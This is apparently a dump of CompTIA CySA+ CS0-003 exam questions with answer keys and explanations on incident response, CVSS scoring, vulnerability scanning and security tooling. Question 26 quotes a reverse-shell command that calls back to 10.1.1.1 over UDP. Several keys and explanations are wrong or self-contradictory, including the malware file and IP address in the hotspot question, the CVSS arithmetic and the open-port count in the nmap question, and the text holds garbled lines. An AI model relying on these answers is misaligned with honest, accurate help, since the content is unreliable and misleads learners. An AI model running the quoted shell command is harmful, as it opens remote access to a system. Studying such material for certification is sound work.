



CompTIA

Exam Questions CS0-003

CompTIA CySA+ Certification Beta Exam

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NEW QUESTION 1

A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following should the analyst do first?

- A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
- B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
- C. Check configurations to determine whether USB ports are enabled on company assets.
- D. Review logs to see whether this exploitable vulnerability has already impacted the company.

Answer: C

Explanation:

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

References:

? CompTIA CySA+ CS0-003 Certification Study Guide, page 247

? What are Attack Vectors: Definition & Vulnerabilities, section “How to secure attack vectors”

? Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user “schroeder”

NEW QUESTION 2

A cybersecurity team has witnessed numerous vulnerability events recently that have affected operating systems. The team decides to implement host-based IPS, firewalls, and two-factor authentication. Which of the following does this most likely describe?

- A. System hardening
- B. Hybrid network architecture
- C. Continuous authorization
- D. Secure access service edge

Answer: A

Explanation:

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system¹.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization © is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

NEW QUESTION 3

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

- A. Eradication
- B. Recovery
- C. Containment
- D. Preparation

Answer: A

Explanation:

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

NEW QUESTION 4

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics. Which of the following attack vectors should the analyst remediate first?

- A. CVSS 3.0/AVP/AC:L/PR:L/UI:N/S U/C:H/I:H/A:H
- B. CVSS 3.0/AV:A/AC .L/PR:L/UI:N/S/U/C:H/I:H/A:H
- C. CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S;U/C:H/I:H/A:H
- D. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S/U/C:H/I:H/A:H

Answer: C

Explanation:

CVSS 3.0/AV:N/AC:L/PR:L/UI:N/S/U/C:H/I:H/A:H is the attack vector that the analyst should remediate first, as it has the highest CVSSv3 score of 8.1. CVSSv3 (Common Vulnerability Scoring System version 3) is a standard framework for rating the severity of vulnerabilities, based on various metrics that reflect the characteristics and impact of the vulnerability. The CVSSv3 score is calculated from three groups of metrics: Base, Temporal, and Environmental. The Base metrics are mandatory and reflect the intrinsic qualities of the vulnerability, such as how it can be exploited, what privileges are required, and what impact it has on confidentiality, integrity, and availability. The Temporal metrics are optional and reflect the current state of the vulnerability, such as whether there is a known exploit, a patch, or a workaround. The Environmental metrics are also optional and reflect the context of the vulnerability in a specific environment, such as how it

affects the asset value, security requirements, or mitigating controls. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score.

The attack vector in question has the following Base metrics:

? Attack Vector (AV): Network (N). This means that the vulnerability can be exploited remotely over a network connection.

? Attack Complexity (AC): Low (L). This means that the attack does not require any special conditions or changes to the configuration of the target system.

? Privileges Required (PR): Low (L). This means that the attacker needs some privileges on the target system to exploit the vulnerability, such as user-level access.

? User Interaction (UI): None (N). This means that the attack does not require any user action or involvement to succeed.

? Scope (S): Unchanged (U). This means that the impact of the vulnerability is confined to the same security authority as the vulnerable component, such as an application or an operating system.

? Confidentiality Impact (C): High (H). This means that the vulnerability results in a total loss of confidentiality, such as unauthorized disclosure of all data on the system.

? Integrity Impact (I): High (H). This means that the vulnerability results in a total loss of integrity, such as unauthorized modification or deletion of all data on the system.

? Availability Impact (A): High (H). This means that the vulnerability results in a total loss of availability, such as denial of service or system crash.

Using these metrics, we can calculate the Base score using this formula: Base Score = Roundup(Minimum[(Impact + Exploitability), 10])

Where:

Impact = $6.42 \times [1 - ((1 - \text{Confidentiality}) \times (1 - \text{Integrity}) \times (1 - \text{Availability}))]$ Exploitability = $8.22 \times \text{Attack Vector} \times \text{Attack Complexity} \times \text{Privileges Required} \times \text{User Interaction}$

Using this formula, we get:

Impact = $6.42 \times [1 - ((1 - 0.56) \times (1 - 0.56) \times (1 - 0.56))] = 5.9$

Exploitability = $8.22 \times 0.85 \times 0.77 \times 0.62 \times 0.85 = 2.8$

Base Score = Roundup(Minimum[(5.9 + 2.8), 10]) = Roundup(8.7) = 8.8

Therefore, this attack vector has a Base score of 8.8, which is higher than any other option. The other attack vectors have lower Base scores, as they have different values for some of the Base metrics:

? CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.2, as it

has a lower value for Attack Vector (Physical), which means that the vulnerability can only be exploited by having physical access to the target system.

? CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 7.4, as it

has a lower value for Attack Vector (Adjacent Network), which means that the vulnerability can only be exploited by being on the same physical or logical network as the target system.

? CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H has a Base score of 6.8, as it has

a lower value for Attack Vector (Local), which means that the vulnerability can only be exploited by having local access to the target system, such as through a terminal or a command shell.

NEW QUESTION 5

A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the following controls would best allow the organization to identify rogue devices more quickly?

- A. Implement a continuous monitoring policy.
- B. Implement a BYOD policy.
- C. Implement a portable wireless scanning policy.
- D. Change the frequency of network scans to once per month.

Answer: A

Explanation:

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents¹.

NEW QUESTION 6

Which of the following would likely be used to update a dashboard that integrates.....

- A. Webhooks
- B. Extensible Markup Language
- C. Threat feed combination
- D. JavaScript Object Notation

Answer: D

Explanation:

JavaScript Object Notation (JSON) is commonly used for transmitting data in web applications and would be suitable for updating dashboards that integrate various data sources. It's lightweight and easy to parse and generate.

NEW QUESTION 7

A security analyst is responding to an incident that involves a malicious attack on a network. Data closet. Which of the following best explains how an analyst should properly document the incident?

- A. Back up the configuration file for all network devices
- B. Record and validate each connection
- C. Create a full diagram of the network infrastructure
- D. Take photos of the impacted items

Answer: D

Explanation:

When documenting a physical incident in a network data closet, taking photos provides a clear and immediate record of the situation, which is essential for thorough incident documentation and subsequent investigation. Proper documentation of an incident in a data closet should include taking photos of the impacted items. This provides visual evidence and helps in understanding the physical context of the incident, which is crucial for a thorough investigation. Backing up configuration files, recording connections, and creating network diagrams, while important, are not the primary means of documenting the physical aspects of an incident.

NEW QUESTION 8

A security analyst has found a moderate-risk item in an organization's point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?

- A. Service-level agreement
- B. Business process interruption
- C. Degrading functionality
- D. Proprietary system

Answer: B

Explanation:

Business process interruption is the inhibitor to remediation that this scenario illustrates. Business process interruption is when the remediation of a vulnerability or an incident requires the disruption or suspension of a critical or essential business process, such as the point-of-sale application. This can cause operational, financial, or reputational losses for the organization, and may outweigh the benefits of the remediation. Therefore, the organization may decide to postpone or avoid the remediation until a more convenient time, such as a change freeze window, which is a period of time when no changes are allowed to the IT environment¹². Service-level agreement, degrading functionality, and proprietary system are other possible inhibitors to remediation, but they are not relevant to this scenario. Service-level agreement is when the remediation of a vulnerability or an incident violates or affects the contractual obligations or expectations of the service provider or the customer. Degrading functionality is when the remediation of a vulnerability or an incident reduces or impairs the performance or usability of a system or an application. Proprietary system is when the remediation of a vulnerability or an incident involves a system or an application that is owned or controlled by a third party, and the organization has limited or no access or authority to modify it³. References: Inhibitors to Remediation — SOC Ops Simplified, Remediation Inhibitors - CompTIA CySA+, Information security Vulnerability Management Report (Remediation...

NEW QUESTION 9

HOTSPOT

A company recently experienced a security incident. The security team has determined a user clicked on a link embedded in a phishing email that was sent to the entire company. The link resulted in a malware download, which was subsequently installed and run.

INSTRUCTIONS

Part 1

Review the artifacts associated with the security incident. Identify the name of the malware, the malicious IP address, and the date and time when the malware executable entered the organization.

Part 2

Review the kill chain items and select an appropriate control for each that would improve the security posture of the organization and would have helped to prevent this incident from occurring. Each control may only be used once, and not all controls will be used.



Firewall log:

Firewall log ✕

Traffic denied:
Dec 1 14:10:46 fire00 fire00: NetScreen device_id=fire00 [Root]system-notification-00257(traffic): policy_id=119 service=udp/port:7001 proto=17 src zone=Trust dst zone=Untrust action=Deny sent=0 rcvd=0 src=192.168.2.1 dst=1.2.3.4 src_port=3036 dst_port=7001
Dec 1 14:12:31 fire00 aka1: NetScreen device_id=aka1 [Root]system-notification-00257(traffic): policy_id=120 service=udp/port:20721 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=20721
Dec 1 14:14:31 fire00 aka1: NetScreen device_id=aka1 [Root]system-notification-00257(traffic): policy_id=120 service=udp/port:17210 proto=17 src zone=Trust dst zone=DMZ action=Deny sent=0 rcvd=0 src=192.168.2.2 dst=1.2.3.4 src_port=53 dst_port=17210

Alert messages:

Dec 1 14:03:19 [xx] ns5gt: NetScreen device_id=ns5gt [Root]system-alert-00016: invoice.exe From 81.161.63.253, proto TCP (zone Untrust, int untrust). Occurred 1 times.

Critical messages:

Dec 1 11:24:16 fire00 sav00: NetScreen device_id=sav00 [Root]system-critical-00436: Large ICMP packet!
 From 1.2.3.4 to 2.3.4.5, proto 1 (zone Untrust, int ethernet1/2). Occurred 1 times.
 [00001] 2005-05-16 12:55:10 [Root]system-critical-00042: Replay packet detected on IPSec tunnel on
 ethernet3 with tunnel ID 0x1c! From z.y.x.w to a.b.c.d/336, ESP, SPI 0xf63af637, SEQ 0xe337.
 [00001] 2006-05-25 13:34:33 [Root]system-alert-00008: IP spoofing! From 10.1.1.238:80 to a.b.c.d:49807,
 proto TCP (zone Untrust, int ethernet3). Occurred 1 times.

File integrity Monitoring Report:

File integrity monitoring report				
Shows files, folders, shares, and permissions that were created, deleted, or modified.				
Action	Object type	What	Who	When
Added	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:05:34
Where:	Host1			
Workstation:	172.30.0.152			
Removed	File	\\host1\users\user1\Downloads\payroll.xlsx	Domainusers\user1	11/30/19 12:25:13
Where:	Host1			
Workstation:	172.30.0.152			
Date created:		"11/30/19 12:05:34"		
Added	File	\\host1\users\user1\Downloads\resume1.docx	Domainusers\user1	12/1/19 13:59:25
Where:	Host1			
Workstation:	172.30.0.152			
Added	File	\\host1\users\user1\Downloads\invoice.exe	Domainusers\user1	12/1/19 14:03:55
Where:	Host1			
Workstation:	172.30.0.152			
Renamed	File		Domainusers\user1	12/1/19 14:25:30
Where:	Host1			
Workstation:	172.30.0.152			
Name changed from:		resume1.docx to resume2.docx		

Malware domain list:

Malware domain list
MalwareDomainList.com Host List
http://www.maowaredomainlist.com/hostlist/hosts.txt
Last updated: 3 Dec 2019, 21:00:00
IP
171.25.193.20
171.25.193.25
185.220.101.194
81.161.63.103
81.161.63.253
77.247.181.162
141.98.81.194
46.101.220.225
139.59.95.60
51.254.37.192
81.161.63.104
139.59.116.115

Vulnerability Scan Report:

Vulnerability scan report

HIGH SEVERITY

Title: Cleartext transmission of sensitive information
Description: The software transmits sensitive or security-critical data in Cleartext in a communication channel that can be sniffed by authorized users.
Affected asset: 172.30.0.150
Risk: Anyone can read the information by gaining access to the channel being used for communication.
Reference: CVE-2002-1949

HIGH SEVERITY

Title: Elevated privileges not required for software installations
Description: All account types can install software, requirements for privileged accounts for installation capabilities is not configured.
Affected asset: 172.30.0.152
Risk: Enhanced risk for unauthorized or malicious software installation
Reference: n/a

MEDIUM SEVERITY

Title: Sensitive cookie in HTTPS session without "secure" attribute
Description: The secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over HTTP session.
Affected asset: 172.30.0.157
Risk: Session sidejacking
Reference: CVE-2004-0462

LOW SEVERITY

Title: Untrusted SSL/TLS Server X.509 certificate
Description: The server's TLS/SSL certificate is signed by a certificate authority that is untrusted or unknown.
Affected asset: 172.30.0.153
Risk: May allow on-path attackers to insert a spoofed certificate for any distinguished name (DN).
Reference: CVE-2005-1234

Phishing Email:

Phishing email

From: IT HelpDesk <it-helpdesk@company.com>
 Sent: Sun 12/01/2019 2:00:00
 To: Global Users <globalusers@company.com>
 Subject: Moving our mail servers

Hi,

In the upcoming days, we will be moving our mail servers. Check out the new Company Webmail to know if it has started working for you.

Visit the new Company Webmail to see all the new features.
 Use your current username and password at [Company Webmail](#).

Download the latest mail client located [here](#).

Thank you.

IT HelpDesk

Kill chain item

Phishing email	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups	Malware install	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups
Active links	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups	Malware execution	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups
Malicious website access	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups	File encryption	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups
Malware download	Select control Firewall file type filter Honeypot MFA MAC filtering Restricted local user permissions Email filtering Disk-level encryption Updated antivirus Network segmentation Plain text email format VPN IP blocklist Backups		

Identify the following:

Malicious executable	Select option invoice.exe resume1.docx resume2.docx payroll.xlsx
Malicious IP address	Select option 81.161.63.103 81.161.63.253 171.25.193.20 185.220.101.194 192.168.2.1 171.25.193.25 10.1.1.238
Date/time malware entered organization	Select option 1 Dec 2019 11:24:16 1 Dec 2019 14:03:19 1 Dec 2019 14:03:55 30 Nov 2019 12:05:34 1 Dec 2019 14:25:30 1 Dec 2019 13:59:25 30 Nov 2019 12:25:13

- A. Mastered
 B. Not Mastered

Answer: A

Explanation:

Kill chain item

Phishing email	Email filtering	Malware install	Restricted local user permissions
Active links	VPN	Malware execution	Updated antivirus
Malicious website access	IP blocklist	File encryption	Backups
Malware download	Firewall file type filter		

Identify the following:

Malicious executable	payroll.xlsx
Malicious IP address	81.161.63.103
Date/time malware entered organization	1 Dec 2019 14:03:19

NEW QUESTION 10

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

- A. SOAR
 B. SIEM
 C. SLA
 D. IoC

Answer: A

Explanation:

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

NEW QUESTION 10

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

- A. Command and control
- B. Data enrichment
- C. Automation
- D. Single sign-on

Answer: C

Explanation:

Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or reporting. Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface) is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not correct, as they describe different concepts or techniques. Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources, such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign-on is a term that refers to an authentication method that allows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or services. Single sign-on is not related to what is described in the example.

NEW QUESTION 12

A security analyst received an alert regarding multiple successful MFA log-ins for a particular user When reviewing the authentication logs the analyst sees the following:

Time	Username	Application	Access device	MFA device
16:07 UTC	jdoe	Productivity Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
16:11 UTC	jdoe	HR Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
17:28 UTC	jdoe	Productivity Portal	3.4.5.6 (Russia)	1.2.3.4 (United States)
17:30 UTC	jdoe	Productivity Portal	1.2.3.4 (United States)	1.2.3.4 (United States)
17:31 UTC	jdoe	HR Portal	3.4.5.6 (Russia)	3.4.5.6 (Russia)

Which of the following are most likely occurring, based on the MFA logs? (Select two).

- A. Dictionary attack
- B. Push phishing
- C. impossible geo-velocity
- D. Subscriber identity module swapping
- E. Rogue access point
- F. Password spray

Answer: BC

Explanation:

C. Impossible geo-velocity: This is an event where a single user's account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In the log, we can see that the user "jdoe" is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some form of automated system or if the account credentials are being used by different individuals in different locations.

* B. Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.

NEW QUESTION 13

A security analyst is performing vulnerability scans on the network. The analyst installs a scanner appliance, configures the subnets to scan, and begins the scan of the network.

Which of the following would be missing from a scan performed with this configuration?

- A. Operating system version
- B. Registry key values
- C. Open ports
- D. IP address

Answer: B

Explanation:

Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of the scanned systems. The Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To scan the Registry, the scanner would need to have credentials to log in to the systems and run a local agent or script. The other items would not be missing from the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service banners or fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving the hostname or using network discovery tools. <https://attack.mitre.org/techniques/T1112/>

NEW QUESTION 15

An attacker recently gained unauthorized access to a financial institution's database, which contains confidential information. The attacker exfiltrated a large amount of data before being detected and blocked. A security analyst needs to complete a root cause analysis to determine how the attacker was able to gain access. Which of the following should the analyst perform first?

- A. Document the incident and any findings related to the attack for future reference.
- B. Interview employees responsible for managing the affected systems.
- C. Review the log files that record all events related to client applications and user access.
- D. Identify the immediate actions that need to be taken to contain the incident and minimize damage.

Answer: C

Explanation:

In a root cause analysis following unauthorized access, the initial step is usually to review relevant log files. These logs can provide critical information about how and when the attacker gained access.

The first step in a root cause analysis after a data breach is typically to review the logs. This helps the analyst understand how the attacker gained access by providing a detailed record of all events, including unauthorized or abnormal activities. Documenting the incident, interviewing employees, and identifying immediate containment actions are important steps, but they usually follow the initial log review.

NEW QUESTION 18

After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASB to reduce analyst alert fatigue. Which of the following is the best possible outcome that this effort hopes to achieve?

- A. SIEM ingestion logs are reduced by 20%.
- B. Phishing alerts drop by 20%.
- C. False positive rates drop to 20%.
- D. The MTTR decreases by 20%.

Answer: D

Explanation:

The MTTR (Mean Time to Resolution) decreases by 20% is the best possible outcome that this effort hopes to achieve, as it reflects the improvement in the efficiency and effectiveness of the incident response process by reducing analyst alert fatigue. Analyst alert fatigue is a term that refers to the phenomenon of security analysts becoming overwhelmed, desensitized, or exhausted by the large number of alerts they receive from various security tools or systems, such as DLP (Data Loss Prevention) or CASB (Cloud Access Security Broker). DLP is a security solution that helps to prevent unauthorized access, use, or transfer of sensitive data, such as personal information, intellectual property, or financial records. CASB is a security solution that helps to monitor and control the use of cloud-based applications and services, such as SaaS (Software as a Service), PaaS (Platform as a Service), or IaaS (Infrastructure as a Service). Both DLP and CASB can generate alerts when they detect potential data breaches, policy violations, or malicious activities, but they can also produce false positives, irrelevant information, or duplicate notifications that can overwhelm or distract the security analysts. Analyst alert fatigue can have negative consequences for the security posture and performance of an organization, such as missing or ignoring critical alerts, delaying or skipping investigations or remediations, making errors or mistakes, or losing motivation or morale. Therefore, it is important to reduce analyst alert fatigue and optimize the alert management process by using various strategies, such as tuning the alert thresholds and rules, prioritizing and triaging the alerts based on severity and context, enriching and correlating the alerts with additional data sources, automating or orchestrating repetitive or low-level tasks or actions, or integrating and consolidating different security tools or systems into a unified platform. By reducing analyst alert fatigue and optimizing the alert management process, the effort hopes to achieve a decrease in the MTTR, which is a metric that measures the average time it takes to resolve an incident from the moment it is reported to the moment it is closed. A lower MTTR indicates a faster and more effective incident response process, which can help to minimize the impact and damage of security incidents, improve customer satisfaction and trust, and enhance security operations and outcomes. The other options are not as relevant or realistic as the MTTR decreases by 20%, as they do not reflect the best possible outcome that this effort hopes to achieve. SIEM ingestion logs are reduced by 20% is not a relevant outcome, as it does not indicate any improvement in the incident response process or any reduction in analyst alert fatigue. SIEM (Security Information and Event Management) is a security solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM ingestion logs are records of the data that is ingested by the SIEM system from different sources. Reducing SIEM ingestion logs may imply less data volume or less data sources for the SIEM system, which may not necessarily improve its performance or accuracy. Phishing alerts drop by 20% is not a realistic outcome, as it does not depend on the integration of DLP and CASB or any reduction in analyst alert fatigue. Phishing alerts are notifications that indicate potential phishing attempts or attacks, such as fraudulent emails, websites, or messages that try to trick users into revealing sensitive information or installing malware. Phishing alerts can be generated by various security tools or systems, such as email security solutions, web security solutions, endpoint security solutions, or user awareness training programs. Reducing phishing alerts may

imply less phishing attempts or attacks on the organization, which may not necessarily be influenced by the integration of DLP and CASB or any reduction in analyst alert fatigue. False positive rates drop to 20% is not a realistic outcome

NEW QUESTION 22

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

- A. Business continuity plan
- B. Vulnerability management plan
- C. Disaster recovery plan
- D. Asset management plan

Answer: C

NEW QUESTION 26

A security analyst detects an exploit attempt containing the following command: `sh -i >& /dev/udp/10.1.1.1/4821 0>$I`
Which of the following is being attempted?

- A. RCE
- B. Reverse shell
- C. XSS
- D. SQL injection

Answer: B

Explanation:

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:

`sh -i >& /dev/udp/10.1.1.1/4821 0>$I`

This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol.

NEW QUESTION 28

A security audit for unsecured network services was conducted, and the following output was generated:

```
#nmap --top-ports 7 192.29.0.5
```

PORT	STATE	SERVICE
21	closed	ftp
22	open	ssh
23	filtered	telnet
636	open	ldaps
1723	open	pptp
443	closed	https
3389	closed	ms-term-server

Which of the following services should the security team investigate further? (Select two).

- A. 21
- B. 22
- C. 23
- D. 636
- E. 1723
- F. 3389

Answer: CD

Explanation:

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices.

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host.

Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security

team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 6362

NEW QUESTION 33

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

- A. Agree on the goals and objectives of the plan
- B. Determine the site to be used during a disaster
- C. Demonstrate adherence to a standard disaster recovery process
- D. Identity applications to be run during a disaster

Answer: A

Explanation:

The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable.

NEW QUESTION 36

A Chief Information Security Officer has outlined several requirements for a new vulnerability scanning project:

- . Must use minimal network bandwidth
- . Must use minimal host resources
- . Must provide accurate, near real-time updates
- . Must not have any stored credentials in configuration on the scanner

Which of the following vulnerability scanning methods should be used to best meet these requirements?

- A. Internal
- B. Agent
- C. Active
- D. Uncredentialed

Answer: B

Explanation:

Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. References: What Is Vulnerability Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.

NEW QUESTION 37

A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:

Vulnerability name	CVSSv3.1 exploitability metrics
sweet.bike	AV:N AC:H PR:H UI:R
vote.4p	AV:N AC:H PR:H UI:N
nessie.explosion	AV:L AC:L PR:H UI:R
great.skills	AV:N AC:L PR:N UI:N

Which of the following vulnerabilities should be prioritized for remediation?

- A. nessie.explosion
- B. vote.4p
- C. sweet.bike

D. great.skills

Answer: A

Explanation:

